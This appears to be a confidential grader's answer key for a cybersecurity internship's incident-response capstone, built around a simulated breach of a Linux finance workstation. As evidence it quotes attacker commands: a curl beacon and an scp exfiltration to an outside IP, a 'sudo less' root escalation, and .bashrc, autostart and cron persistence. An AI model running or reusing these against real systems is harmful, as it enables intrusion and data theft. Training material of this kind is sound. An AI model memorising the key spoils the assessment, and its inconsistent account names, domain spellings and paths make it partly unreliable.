

Stage 3 — Capstone Marking Guide

Ubuntu Bridge Initiative · Cybersecurity Internship · Cohort 1

Confidential — for graders only. Do not share with interns.

Welcome — read this first

Thank you for grading Stage 3. This guide gives you the **answer to every deliverable** and tells you exactly what to mark, in what order, and how. You do **not** need to be an incident responder. If you can read the intern's work against the reconstruction below, check that a claim is tied to a real evidence line, and tell a specific ATT&CK technique from a vague one, you can grade this stage well.

Stage 3 is **Incident Response — Inside the Walls**. It is built so that someone who only pasted an AI answer cannot pass: most of the marks are for *reconstructing the incident from the evidence* and *attributing correctly* (not inventing lateral movement, not decoding junk and reporting it as fact).

If you are ever unsure whether an answer is correct, **flag it for super-admin review** rather than guess.

The story Stage 3 is testing

The Griot — the actor from Stages 0–2 — pivoted from the web breach onto an **internal finance workstation**, **`10.0.1.87`, belonging to analyst `o.adegoke`**. They logged in over SSH with o.adegoke's key from the same Tor-exit IP that hit `/legacy-admin/` in Stage 2 (`185.220.101.9`), escalated through a sudo misconfiguration, planted persistence, beacons out, and exfiltrated customer data — then left a note bragging about a 30-day dormancy. The intern is the responder: triage the host, build the timeline, extract IOCs, map it to ATT&CK, and write the report for the CISO and Legal.

The recurring lesson: **attribute from evidence, not from noise**. The pack is full of decoys — background netflow from other hosts, a base64 blob that decodes to "junk," a second login from a different IP. The top band is reached by the intern who proves what happened *and* refuses to claim what they cannot.

How Stage 3 is structured — the 5 deliverables (you hand-grade all of them)

Deliverable	Pts	What it is
D1 — Process triage	**15**	The 3 most suspicious processes, each proven + a false-positive ruling
D2 — Incident timeline	**25**	One event per row, full kill chain, every row cited
D3 — IOC list	**20**	Indicators by type, each with provenance; false-positive discipline
D4 — ATT&CK technique map	**20**	Each behaviour !' a specific technique ID, evidenced
D5 — Incident report	**40**	The CISO/Legal report: 9 sections, 5–7 pages
	120	

Your number is the capstone score out of 120, recorded as a percentage ($\text{points earned} \div 120 \times 100$). The advance/eliminate cutoff is set by programme staff — your job is an accurate score, not to decide who passes. Two graders read each submission independently; a disagreement of **more than 12 points** (on the 0–100 percentage) triggers a super-admin tie-break — normal, not a fault. Leave a one-line justification per deliverable; an intern may be eliminated on your number.

Quick-grade sheet — every row on one screen

Deliverable	Scoring rows (points)	Total
D1 — Process triage	3 suspects each w/ quoted line (9) · false-positive ruling each (3) · method (3)	**15**
D2 — Incident timeline	chronological, every row cited (10) · full arc incl. lateral-movement call (8) · attribution/no-noise (4) · narrative (3)	**25**
D3 — IOC list	coverage across types w/ provenance (12) · false-positive discipline (5) · actionable + deduped (3)	**20**
D4 — ATT&CK map	specific technique IDs (+ sub-techniques) (10) · technique matches evidence (6) · chain coverage (4)	**20**
D5 — Incident report	exec summary (6) · scope (3) · timeline summary (4) · root cause (6) · what accessed (6) · containment (4) · eradication (5) · lessons (3) · policy (3)	**40**
	Capstone total	**120**

How to grade — step by step

Total time per submission: 30–45 minutes.

1. **Read §"The incident at a glance" once** — it is the master answer key; every deliverable checks against it.
2. **Grade D1 (process triage) first** — it calibrates "proved it vs asserted it."
3. **Grade D2 (timeline), then D3 (IOCs), then D4 (ATT&CK)** — these three reference the same events; grading them together is faster.
4. **Grade D5 (the report) last** — the synthesis; read it as a CISO would, then check it is consistent with D1–D4.
5. **Open the grading page** at /admin/grading/STAGE_3/<internCode> and enter per-deliverable scores.
6. **Write a 50–100 word grader note** — one strength, one weakness, the deliverable you re-read first.
7. **Submit.** Your score is hidden from the second grader until they submit.

The scale — use it on every scoring row

Band	Meaning
Full	Correct, reasoned, tied to the specific evidence line
~Half	Core is right but shallow, partly wrong, or thinly justified
0–25%	Missing, copied, off-topic, or fundamentally wrong

Proof beats the label. A correct finding with no evidence line scores *lower* than a slightly-mislabelled one that quotes the line proving it.

Universal grading rule

Every claim must tie to a specific evidence artefact — a process line, a syslog line, a SIEM/netflow row, a filesystem entry, or a memory string. A claim with no evidence is zero for that row. Fabricated evidence lines or invented ATT&CK IDs score zero — spot-check one or two per submission against the answer key.

AI-use penalty

If you reasonably believe a deliverable was LLM-produced, **tick the amber "Flag for suspected AI generation" box** and write 2–3 sentences naming the tell. Two graders must agree plus super-admin sign-off. Stage 3 tells:

- Findings named correctly but with **no quoted line** (the model knows IR vocabulary but never read 03-syslog.txt).
- Invented lateral movement** — claiming the host moved to 10.0.3.x because the netflow "shows it," when those flows are other hosts.
- Decoding the base64 junk and reporting it as an IOC** (see the trap below) — a tell the intern processed bytes without judgement.
- A report that could describe any breach — no o.adeoke, no .helper, no 185.220.101.9, no .griot.txt.

Non-expert fallback for the ATT&CK map

You do not need to know ATT&CK by heart. Check three things per row: (1) it is a **real technique ID** (Txxxx, optionally .xxx) that exists on attack.mitre.org; (2) it sits under the right **tactic** (a persistence behaviour mapped to an Exfiltration technique is wrong); (3) it **plausibly matches the behaviour** in the evidence. If all three hold !' Full, even if you'd have picked a neighbouring ID. If you can't judge !' score what you can and **flag for the technical lead**.

Worked example — the bands in action

- D1, a process row (the beacon):** Full — "PID 2031 curl -sfm 10 https://185.220.101.9/beacon -d workstation:root, child of .helper (PID 2019). Suspicious: outbound POST to a Tor-exit IP carrying host:user. Not a false positive: no legitimate finance-workstation process beacons to 185.220.101.9 — confirmed by the outbound-beacon SIEM alert at 02:15:02." ~Half — "There's a curl beaconing out, looks like C2." (right, but no line, no FP ruling). 0 — "firefox-esr (PID 6042) is malware." (normal user process; that's the false-positive trap).
- D4, a technique row:** Full — "Persistence — T1546.004 (Unix Shell Configuration Modification): ~/.bashrc line source /var/lib/mc/.helper, evidenced in 02-filesystem-index.txt." ~Half — "Persistence — T1547." (right tactic, vague/wrong sub-ID, no evidence).
- D3, the decode trap:** the memory strings contain base64 blobs. One decodes to **`This chunk is junk from a browser cache`**. An intern who lists that as an IOC has decoded without judgement !' that row is 0 and is an AI/diligence tell. Decoding the *real* ones (the .helper script, the C2 domain, the hash) is full credit.

The incident at a glance (master answer key)

Check every deliverable against this reconstruction of host 10.0.1.87 (o.adeoke's finance workstation):

- Initial access** — Jun 4 02:07:55 SSH **publickey** login as o.adeoke from **`185.220.101.9`** (Tor-exit pool, the same IP as the Stage 2 web breach). 03-syslog.txt line 1; 04-siem-export.csv unusual-geo-login; memory SSH_CONNECTION=185.220.101.9 ... 22.
- Privilege escalation** — the sudoers drop-in /etc/sudoers.d/90-ops grants o.adeoke ALL=(ALL) NOPASSWD: /usr/bin/less /var/log/*.less is a **GTFOBins** binary — sudo less /var/log/auth.log then !sh yields a root shell. Evidence: 02-filesystem-index.txt (the sudoers contents), syslog sudo ... less lines 02:09–02:13, memory sudo less
- Persistence (three mechanisms)** — (1) ~/.bashrc appends source /var/lib/mc/.helper (runs on every interactive shell); (2) ~/.config/autostart/.boot.desktop (GUI logins); (3) a root cron */3 * * * * root /var/lib/mc/.helper written to /etc/cron.d/.cache-update **then deleted** (memory strings) — which is why cron fires it but no file is on disk. The payload /var/lib/mc/.helper beacons out.
- Execution** — bash /var/lib/mc/.helper; chmod +x /var/lib/mc/.helper at 02:13.
- Command & control** — curl POST to **`https://185.220.101.9/beacon`** and to the dynamic-DNS domain **`griot-c2.dynamic-update.net`** (DNS query in memory strings), UA curl/7.81.0. Netflow: regular ~600-byte flows to 185.220.101.9:443.
- Collection** — tar czf /tmp/exfil.tgz /tmp/customers.csv /tmp/transactions.csv at 02:31:55.
- Exfiltration** — scp /tmp/exfil.tgz attacker@185.220.101.9:/dropbox/ at 03:01:18. Netflow confirms **31,244 bytes** out to 185.220.101.9:22.
- Attacker's own note** — /home/o.adeoke/.local/share/.griot.txt: *"foothold: o.adeoke / exfil: /tmp/exfil.tgz -> 185.220.101.9 / note: leaving the bashrc hook. quiet for 30 days, then loud."* Confirms attribution + intent.

- **Containment** — Jun 8 04:08 host quarantined (nft input drop, network isolation).

The decoys (do not reward claiming these):

- **Lateral movement from `10.0.1.87` — none confirmed.** The netflow SMB (:445), RDP (:3389), and Postgres (:5432) flows are from **other** source hosts (10.0.2.14, 10.0.1.42, 10.0.4.8, 10.0.2.19). Full credit = "no lateral movement confirmed from this host."
- **`102.89.34.17` (Jun 6 login) is a different IP from the Tor-exit channel** — note it, don't conflate it with the attacker's C2 origin.
- **Benign infrastructure is not an IOC:** 10.0.0.53 (internal DNS), 91.189.91.157 / updates.ubuntu.com (Ubuntu NTP/updates), the host's own 10.0.1.87.
- **The base64 "junk" blob** decodes to This chunk is junk from a browser cache — a trap; listing it is a deduction.

Hand-graded deliverables — answer keys

D1 — Process triage (15 points)

Three most suspicious processes from 01-process-listing.txt, each with the quoted line and a false-positive ruling. The clear suspects: ``var/lib/mc.helper`` (PID 2019 / 4188, root, unknown path), the ``curl` beacon` (PID 2031 / 4192 185.220.101.9/beacon), and the ``chmod +x /var/lib/mc.helper`` (PID 2014) or the ``scp -t /tmp/exfil.tgz`` (PID 3211). Any three of these, well-proven, is full marks. Benign-but-tempting: `apache2/www-data` (2502), `firefox-esr` (6042) — naming these as the threat is the false-positive trap.

Row	Pts	Full credit
Three suspects, each with the verbatim process line quoted	9	3 × 3; real suspects, lines exact (PID/PPID/user/command)
A false-positive ruling for each	3	Why it is not normal system/user activity (or why a tempting process was ruled out)
Method (how normal vs suspicious was decided + corroboration)	3	Names the rule + a syslog/SIEM cross-check

Red flags: fewer than three; no quoted line (cap each row at half); naming firefox/apache as the threat.

D2 — Incident timeline (25 points)

One event per row, UTC chronological, columns timestamp · event · source · evidence, covering **initial access !' privilege escalation !' persistence !' C2 !' lateral movement !' exfiltration !' containment** (master key for the canonical events/timestamps).

Row	Pts	Full credit
Chronological order, every row tied to a source line	10	Real UTC timestamps copied from the logs; each row cited
Full arc incl. the lateral-movement call	8	Initial access !' containment all present; lateral movement addressed (correct answer: none confirmed from this host)
Attribution / no noise	4	Events tied to `10.0.1.87` + the attacker; background/other-host flows excluded

Narrative linking the chain	3	2–3 sentences showing it is one story
-----------------------------	---	---------------------------------------

Red flags: missing exfil or containment rows; **inventing lateral movement** to 10.0.3.x (cap the arc row at half + AI flag); rows with no evidence cell.

D3 — IOC list (20 points)

Indicators by type, each with provenance. Real IOCs: 185.220.101.9; gri0t-c2.dynamic-update.net; https://185.220.101.9/beacon; /var/lib/mc/.helper; the .bashrc source hook; ~/.config/autostart/.boot.desktop; the root cron */3 ... /var/lib/mc/.helper; /tmp/exfil.tgz + /tmp/customers.csv + /tmp/transactions.csv; UA curl/7.81.0; account o.adegoke + the SSH key; the SHA256(update-check)=926e69f94bf1 string. STIX 2.1 bundle = optional bonus.

Row	Pts	Full credit
Coverage across types (network, file, persistence, account, UA), each with provenance	12	The major IOCs present, each tied to a source line
False-positive discipline	5	Benign DNS/NTP/updates and other-host IPs excluded; the base64 "junk" not listed
Actionable + deduplicated + confidence-rated	3	Exact values, no dupes, honest confidence

Red flags: listing internal DNS/NTP or 10.0.1.87 as malicious; listing the decoded "junk" string; bonus STIX that is malformed (no bonus, no penalty).

D4 — MITRE ATT&CK technique map (20 points)

Each behaviour !' a specific technique ID (+ sub-technique), evidenced. Canonical mapping (accept defensible variants; the ID must match the behaviour):

- **Initial Access** — T1078 Valid Accounts (and/or T1021.004 Remote Services: SSH)
- **Privilege Escalation** — T1548.003 Abuse Elevation Control: Sudo and Sudo Caching
- **Persistence** — T1546.004 (.bashrc/Unix shell config), T1053.003 (Cron), T1547.013 (XDG Autostart)
- **Execution** — T1059.004 Unix Shell
- **Command & Control** — T1071.001 Web Protocols (and/or T1568 Dynamic Resolution for the dyndns domain)
- **Collection** — T1560.001 Archive via Utility
- **Exfiltration** — T1048 Exfiltration Over Alternative Protocol (scp/SSH)

Row	Pts	Full credit
Specific technique IDs (+ sub-techniques where they apply)	10	`Txxxx.xxx`, real, not just a tactic name
Technique matches the evidence	6	The behaviour in the row genuinely is that technique
Chain coverage	4	Initial access !' exfiltration tactics all represented

Red flags: bare tactic names with no ID; an ID that doesn't match the behaviour (use the non-expert fallback if unsure); no evidence cell.

D5 — Incident report (40 points)

The CISO/Legal report, 5–7 pages, nine sections in order. Graded on whether a non-analyst can act on it and whether it is consistent with D1–D4.

Section / row	Pts	Full credit
Executive summary	6	Jargon-free; what happened, which host, what data, the one key action
Scope	3	Host, account, time window, in/out of scope
Timeline summary	4	The key events in order; references D2, doesn't paste it whole
Root cause	6	A cause (compromised SSH key + sudo-less misconfig !' root + persistence), not "malware ran"
What was accessed / impact	6	Names `customers.csv` + `transactions.csv` exfiltrated to `185.220.101.9`; business/PII impact
Containment	4	Host isolation (nft) with timestamp + what's next
Eradication	5	Remove `.helper`, the `.bashrc` hook, the autostart entry, the cron; **rotate o.adepoke's SSH key**; fix `sudoers.d/90-ops`
Lessons learned	3	Specific detection/response gaps, not platitudes
Policy changes	3	Concrete (sudo/least-privilege, key hygiene, egress monitoring), each tied to this incident

Red flags: an exec summary full of jargon; root cause stated as a symptom (cap at half); eradication that misses key rotation or the sudoers fix; a report that contradicts the intern's own D1–D4.

Grader checklist (every Stage 3 submission)

1. Read §"The incident at a glance" before grading.
2. Hand-grade D1–D5 using the answer keys and scoring tables (120 pts).
3. Every claim needs an evidence line — spot-check one for a fabricated line or invented ATT&CK ID.
4. Watch the three traps: **invented lateral movement**, **benign infra listed as an IOC**, the **decoded "junk" string**. Reward interns who explicitly rule these out.
5. Score as a percentage: points earned ÷ 120 × 100. The cutoff (set by programme staff) is applied to that percentage.
6. Leave a one-line justification per deliverable and a 50–100 word grader note.
7. Flag integrity/AI concerns to a PM with a specific reason; never eliminate on suspicion alone.